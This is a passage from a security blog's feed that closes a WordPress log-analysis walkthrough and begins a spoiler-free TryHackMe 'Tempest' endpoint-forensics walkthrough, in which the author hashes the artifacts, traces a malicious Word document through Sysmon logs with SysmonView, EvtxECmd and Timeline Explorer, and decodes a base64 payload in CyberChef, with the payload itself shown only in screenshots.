src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/64640584fc4edbb7935f3ca9fbe11498_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;587b4fe27eba9e7db7fc1d3d15272874_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;289px&#34; data-flex-grow=&#34;120&#34; height=&#34;663&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/587b4fe27eba9e7db7fc1d3d15272874_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Logs Analyzed! How fun was that? A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Team Labs Online&lt;/strong&gt;&lt;/a&gt; for another awesome challenge.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a fantastic deep dive into web server log analysis and plugin vulnerabilities. It gave us a realistic look at how attackers chain weaknesses (like unrestricted file uploads and remote code execution) into full compromise of a &lt;strong&gt;WordPress&lt;/strong&gt; site.&lt;/p&gt;&#xA;&lt;p&gt;I picked this challenge because it’s a great way to sharpen incident response skills while practicing techniques that apply far beyond &lt;em&gt;WordPress&lt;/em&gt;. From filtering HTTP methods to spotting suspicious user agents, and researching CVEs, every question built on the last, making the investigation feel logical and rewarding. As an added bonus, these log analysis skills are transferable to other web servers, so this was a solid primer for broader forensic work. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful — please give it a clap and consider following me! Your feedback is invaluable, and it pumps me up to support your security journey. Remember, cybersecurity is a team sport, and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-log-analysis-compromised-wordpress-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/log-analysis-compromised-wordpress-ce000f5b59&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;http Logs Viewer (&lt;strong&gt;formerly &lt;em&gt;Apache Logs Viewer&lt;/em&gt;&lt;/strong&gt;):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.apacheviewer.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.apacheviewer.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;sqlmap:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sqlmap.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sqlmap.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;WPScan:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://wpscan.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://wpscan.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CVEdetails — CVE-2020–35489:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.cvedetails.com/cve/CVE-2020-35489/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.cvedetails.com/cve/CVE-2020-35489/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;National Vulnerability Database (NVD) — CVE-2020–36847:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://nvd.nist.gov/vuln/detail/CVE-2020-36847&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://nvd.nist.gov/vuln/detail/CVE-2020-36847&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>TryHackMe  —  Tempest Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/</link>
            <pubDate>Mon, 22 Dec 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/174daaca62aa60ade6294200a18379e9_MD5.png&#34; alt=&#34;Featured image of post TryHackMe  —  Tempest Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;tryhackme--tempest--challenge-walkthrough&#34;&gt;TryHackMe | Tempest | Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;an-endpoint-forensic-investigation-challenge-using-sysmonview-evtxecmd-brim--cyberchef&#34;&gt;An Endpoint Forensic Investigation Challenge Using SysmonView, EvtxECmd, Brim, &amp;amp; CyberChef.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;174daaca62aa60ade6294200a18379e9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;427&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/174daaca62aa60ade6294200a18379e9_MD5.png&#34; width=&#34;427&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/tempestincident&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/tempestincident&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Think you’ve got what it takes to tame the Tempest?&lt;/p&gt;&#xA;&lt;p&gt;If so, you’ve stumbled on the right blog! Welcome to my weekly walkthrough — a comprehensive (but &lt;strong&gt;spoiler-free&lt;/strong&gt;) guide to the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/tempestincident&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Tempest&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;.&lt;/strong&gt; This room is the first of the capstone challenges for their SOC Level 1 learning path.&lt;/p&gt;&#xA;&lt;p&gt;For this challenge, we’re putting on our incident response hats and putting our skills to the test. The Tempest workstation has been compromised, and it’s up to us to calm the storm. We’re given three artifacts to dig into and piece together what happened.&lt;/p&gt;&#xA;&lt;p&gt;This is a sprawling, in-depth case that will push us to think creatively and challenge our skills in endpoint and network analysis. We’ll pivot between tools and reconstruct the full attack chain — from analyzing malware execution all the way through network discovery, command and control, privilege escalation, and persistence.&lt;/p&gt;&#xA;&lt;p&gt;For the analysis, we’ll use a mix of &lt;strong&gt;SysmonView&lt;/strong&gt;, &lt;strong&gt;Eric Zimmerman’s EvtxECmd and Timeline Explorer&lt;/strong&gt;, &lt;strong&gt;Brim&lt;/strong&gt;, &lt;strong&gt;CyberChef&lt;/strong&gt;, and even &lt;strong&gt;VirusTotal&lt;/strong&gt; to validate our findings.&lt;/p&gt;&#xA;&lt;p&gt;I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. I don’t want to ruin any of the fun, so this walkthrough will not contain spoilers — but please use it as a reference and enjoy! Now, let’s get into it.&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;This room aims to introduce the process of analysing endpoint and network logs from a compromised asset. Given the artefacts, we will aim to uncover the incident from the Tempest machine. In this scenario, you will be tasked to be one of the Incident Responders that will focus on handling and analysing the captured artefacts of a compromised machine.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-3-preparationtools-and-artifacts&#34;&gt;Task 3: Preparation — Tools and Artifacts&#xA;&lt;/h3&gt;&lt;h4 id=&#34;questions-1-2-3&#34;&gt;Questions 1, 2, &amp;amp; 3:&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-sha256-hash-of-the-capturepcapng-file&#34;&gt;What is the SHA256 hash of the capture.pcapng file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-sha256-hash-of-the-sysmonevtx-file&#34;&gt;What is the SHA256 hash of the sysmon.evtx file?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-sha256-hash-of-the-windowsevtx-file&#34;&gt;What is the SHA256 hash of the windows.evtx file?&#xA;&lt;/h4&gt;&lt;p&gt;Following the theory from &lt;strong&gt;Tasks 1 &amp;amp; 2&lt;/strong&gt;, which are not covered in this blog, we can now get started and leap into action. Our first set of questions is to determine the unique &lt;strong&gt;SHA256 hash&lt;/strong&gt; of each artifact that we’ll use throughout the rest of the investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e78db284fefa84abbeff2b6650ed72a5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;834px&#34; data-flex-grow=&#34;347&#34; height=&#34;230&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/e78db284fefa84abbeff2b6650ed72a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;To perform this task, we can leverage the &lt;code&gt;Get-FileHash&lt;/code&gt; cmdlet in &lt;strong&gt;PowerShell&lt;/strong&gt;. From the &lt;em&gt;Incident Files&lt;/em&gt; directory, run the command below:&lt;/p&gt;&#xA;&lt;p&gt;Get-FileHash *&lt;/p&gt;&#xA;&lt;p&gt;This will compute the hash for all files in the directory using the default algorithm, which is &lt;strong&gt;SHA256&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a767ff9451fcd89fd3f2b095ed54417d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1103px&#34; data-flex-grow=&#34;459&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/a767ff9451fcd89fd3f2b095ed54417d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Getting the file hashes&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;40f561cfdf8fd36fdb35e12eaa361024_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;969px&#34; data-flex-grow=&#34;404&#34; height=&#34;198&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/40f561cfdf8fd36fdb35e12eaa361024_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;task-4-initial-accessmalicious-document&#34;&gt;Task 4: Initial Access — Malicious Document&#xA;&lt;/h3&gt;&lt;p&gt;Now we’re getting to work! The first true challenge starts here in &lt;strong&gt;Task 4&lt;/strong&gt;. For this task, our job is to assess a malicious document used to compromise the &lt;em&gt;Tempest&lt;/em&gt; device. From the available artifacts, we’ll select the &lt;strong&gt;Sysmon&lt;/strong&gt; event logs. Since this is a capstone challenge for the SOC Level 1 analyst track, I’ll assume you’re already familiar with &lt;em&gt;Sysmon&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The fun part is that instead of relying solely on the Windows Event Viewer, we’ll work a little smarter by leveraging &lt;strong&gt;SysmonView&lt;/strong&gt;, a third-party utility designed for visualizing &lt;em&gt;Sysmon&lt;/em&gt; event logs in XML format.&lt;/p&gt;&#xA;&lt;p&gt;But first, we’ll need to convert all the events contained within &lt;code&gt;Sysmon.evtx&lt;/code&gt; to XML for parsing. To do this, open the &lt;code&gt;Sysmon.evtx&lt;/code&gt; file in Event Viewer. Then, press &lt;em&gt;Save All Events As…&lt;/em&gt;, change the file format to XML, and save.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;26de9e8ccf3ccfceb34efb9bd161ce98_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;568px&#34; data-flex-grow=&#34;236&#34; height=&#34;338&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/26de9e8ccf3ccfceb34efb9bd161ce98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Viewer: Exporting Sysmon logs as XML&lt;/p&gt;&#xA;&lt;p&gt;Now, we can pivot and open &lt;em&gt;SysmonView&lt;/em&gt;, which is conveniently pinned to the taskbar of the analysis environment. Once it’s open, press &lt;em&gt;File &amp;gt; Import Sysmon XML Events&lt;/em&gt;, and load up the events so we can get started.&lt;/p&gt;&#xA;&lt;h4 id=&#34;investigation-guide&#34;&gt;Investigation Guide:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;To aid with the investigation, you may refer to the cheatsheet crafted by the team applicable to this scenario:&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Start with the events generated by Sysmon.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;EvtxEcmd, Timeline Explorer, and SysmonView can interpret Sysmon logs.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Follow the child processes of WinWord.exe.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Use filters such as ParentProcessID or ProcessID to correlate the relationship of each process.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;We can focus on Sysmon events such as Process Creation (Event ID 1) and DNS Queries (Event ID 22) to correlate the activity generated by the malicious document.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;question-1-the-user-of-this-machine-was-compromised-by-a-malicious-document-what-is-the-file-name-of-the-document&#34;&gt;Question 1: The user of this machine was compromised by a malicious document. What is the file name of the document?&#xA;&lt;/h4&gt;&lt;p&gt;The first artifact we need to hunt for is the malicious document itself. A good place to start is filtering the logs for &lt;strong&gt;Sysmon Event ID 11&lt;/strong&gt;, which corresponds to &lt;em&gt;File Creation&lt;/em&gt; events. Using &lt;strong&gt;SysmonView&lt;/strong&gt;, select the &lt;em&gt;All Events View&lt;/em&gt; tab at the bottom, then drag the &lt;em&gt;Event Type&lt;/em&gt; column to the filter bar and expand &lt;em&gt;Event Type: File Created&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This displays all the &lt;em&gt;File Creation&lt;/em&gt; events in a neat table. Scroll down to the oldest results to start building a timeline.&lt;/p&gt;&#xA;&lt;p&gt;Once we expand the early events, we’ll find the evidence we need: the creation of a document file from &lt;code&gt;chrome.exe&lt;/code&gt;. Checking the target file name will reveal the file name and path, suggesting it was downloaded from a website.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1730717cefb79f60b89ea6a0b52b49c4_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;578px&#34; data-flex-grow=&#34;240&#34; height=&#34;332&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/1730717cefb79f60b89ea6a0b52b49c4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the malicious document&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;281f0dc57924dfde7bf1680b98426f89_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2400px&#34; data-flex-grow=&#34;1000&#34; height=&#34;80&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/281f0dc57924dfde7bf1680b98426f89_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;questions-2-3&#34;&gt;Questions 2 &amp;amp; 3:&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-name-of-the-compromised-user-andmachine&#34;&gt;What is the name of the compromised user and machine?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;what-is-the-pid-of-the-microsoft-word-process-that-opened-the-malicious-document&#34;&gt;What is the PID of the Microsoft Word process that opened the malicious document?&#xA;&lt;/h4&gt;&lt;p&gt;Next, we’ll need to collect some information about the environment, including the machine name, compromised user, and the process ID (PID) of the malicious document.&lt;/p&gt;&#xA;&lt;p&gt;One approach to getting this information in one go is to remove the &lt;em&gt;Event Type&lt;/em&gt; filter and search for the document’s name in the search box at the top. This filters the &lt;em&gt;Sysmon&lt;/em&gt; events related to this specific file name. This leads us to a &lt;strong&gt;Process Create (Event ID 1)&lt;/strong&gt; for &lt;code&gt;WINWORD.EXE&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;2e5b4f0eb5302b1f9e63479057bc2187_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;732px&#34; data-flex-grow=&#34;305&#34; height=&#34;262&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/2e5b4f0eb5302b1f9e63479057bc2187_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the Microsoft Word PID&lt;/p&gt;&#xA;&lt;p&gt;As a bonus, by identifying this event, we also get all the metadata we need to answer both &lt;strong&gt;Questions 2 &amp;amp; 3&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5537eb1a8df841b2d449669eb910bdaa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1222px&#34; data-flex-grow=&#34;509&#34; height=&#34;157&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/5537eb1a8df841b2d449669eb910bdaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-4-based-on-sysmon-logs-what-is-the-ipv4-address-resolved-by-the-malicious-domain-used-in-the-previous-question&#34;&gt;Question 4: Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?&#xA;&lt;/h4&gt;&lt;p&gt;The wording of &lt;strong&gt;Question 4&lt;/strong&gt; is a little confusing since there wasn’t any domain reference in &lt;strong&gt;Question 3&lt;/strong&gt; that I found. It’s all good — we can infer what we’re looking for: the IP address of a malicious domain contacted by &lt;code&gt;WINWORD.EXE&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For this, jump to the &lt;em&gt;Process View&lt;/em&gt; tab in &lt;strong&gt;SysmonView&lt;/strong&gt; and scroll down the process list to select &lt;code&gt;WINWORD.EXE&lt;/code&gt;. Then click the image path in the box below, and finally click both session GUIDs. This gives us a clean diagram of the relationships between events tied to the process—very neat!&lt;/p&gt;&#xA;&lt;p&gt;Scrolling through the events, we’ll stumble across a suspicious-looking domain in the DNS query, along with a corresponding destination IP address. Correlating the suspicious domain with the IP address is good, but through additional threat intelligence or process of elimination, we can also determine that this IP is malicious. We’ll see more of that later!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;01abfff4965165b38e91348dfcdc1e1f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;394px&#34; data-flex-grow=&#34;164&#34; height=&#34;487&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/01abfff4965165b38e91348dfcdc1e1f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the malicious IP address&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8fefd8778002a90624ce1484ef3337bb_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2594px&#34; data-flex-grow=&#34;1081&#34; height=&#34;74&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/8fefd8778002a90624ce1484ef3337bb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-5-what-is-the-base64-encoded-string-in-the-malicious-payload-executed-by-the-document&#34;&gt;Question 5: What is the base64 encoded string in the malicious payload executed by the document?&#xA;&lt;/h4&gt;&lt;p&gt;Now &lt;strong&gt;Question 5&lt;/strong&gt; is a little tricky because you might notice our visualization doesn’t show any child process like PowerShell that would give us a clue. Not to worry — we’ll try a different approach and bust out some of &lt;strong&gt;Eric Zimmerman’s tools&lt;/strong&gt;: &lt;strong&gt;EvtxECmd&lt;/strong&gt; and &lt;strong&gt;Timeline Explorer&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The idea is to use &lt;em&gt;EvtxECmd&lt;/em&gt; to parse the &lt;code&gt;Sysmon.evtx&lt;/code&gt; file and produce a CSV file that we can load into &lt;em&gt;Timeline Explorer&lt;/em&gt; to view and filter the data. This makes it easier to examine the relationship between the Microsoft Word process and any child processes spawned by the malware. Fortunately, both tools are already built into our environment and can be found in the following directories:&lt;/p&gt;&#xA;&lt;p&gt;C:\Tools\EvtxECmd\EvtxECmd.exe&#xA;C:\Tools\TimelineExplorer\TimelineExplorer.exe&lt;/p&gt;&#xA;&lt;p&gt;First, open PowerShell and run the command below to execute &lt;em&gt;EvtxECmd&lt;/em&gt; and output the results to CSV:&lt;/p&gt;&#xA;&lt;p&gt;C:\Tools\EvtxECmd\EvtxECmd.exe -f &amp;ldquo;C:\Users\user\Desktop\Incident Files\sysmon.evtx&amp;rdquo; &amp;ndash;csv &amp;ldquo;C:\Users\user\Desktop\Incident Files&amp;rdquo; &amp;ndash;csvf Sysmon.csv&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;20ebd3f515fdc3792a49d1314fd8996d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;530px&#34; data-flex-grow=&#34;220&#34; height=&#34;362&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/20ebd3f515fdc3792a49d1314fd8996d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Executing EvtxECmd&lt;/p&gt;&#xA;&lt;p&gt;Now comes the fun part. Open &lt;em&gt;Timeline Explorer&lt;/em&gt; and load the new CSV file. We’ll need to do a few things here:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Filter on the &lt;code&gt;EventID&lt;/code&gt; column for &lt;code&gt;1&lt;/code&gt; (process creation)&lt;/li&gt;&#xA;&lt;li&gt;Enter the &lt;strong&gt;parent process ID&lt;/strong&gt; of &lt;code&gt;WINWORD.EXE&lt;/code&gt; (496) into the &lt;code&gt;PayloadData5&lt;/code&gt; field to show any child processes we didn’t see in &lt;em&gt;SysmonView&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Check the &lt;code&gt;Executable Info&lt;/code&gt; column for the first event chronologically&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;13517724552e111557353aceee6e7799_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/13517724552e111557353aceee6e7799_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Timeline Explorer: Finding the encoded string&lt;/p&gt;&#xA;&lt;p&gt;See the encoded blob following the &lt;code&gt;FromBase64String&lt;/code&gt; function? That’s what we need to answer &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;But we can take it a step further and decode it using something like &lt;strong&gt;CyberChef&lt;/strong&gt;, which we’ll do for demonstration purposes. Within &lt;em&gt;CyberChef&lt;/em&gt;, paste the encoded string into the input window. Then, add the &lt;em&gt;From Base64&lt;/em&gt; operation to the recipe.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;bb697a61fa1894642616c99c6709fe65_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;351px&#34; data-flex-grow=&#34;146&#34; height=&#34;547&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/bb697a61fa1894642616c99c6709fe65_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CyberChef: Decoding the string&lt;/p&gt;&#xA;&lt;p&gt;In the output, we’ll get some extremely helpful clues that we’ll use in &lt;strong&gt;Task 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;35830e37ff316fd82c9a5cacbaf02829_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/35830e37ff316fd82c9a5cacbaf02829_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 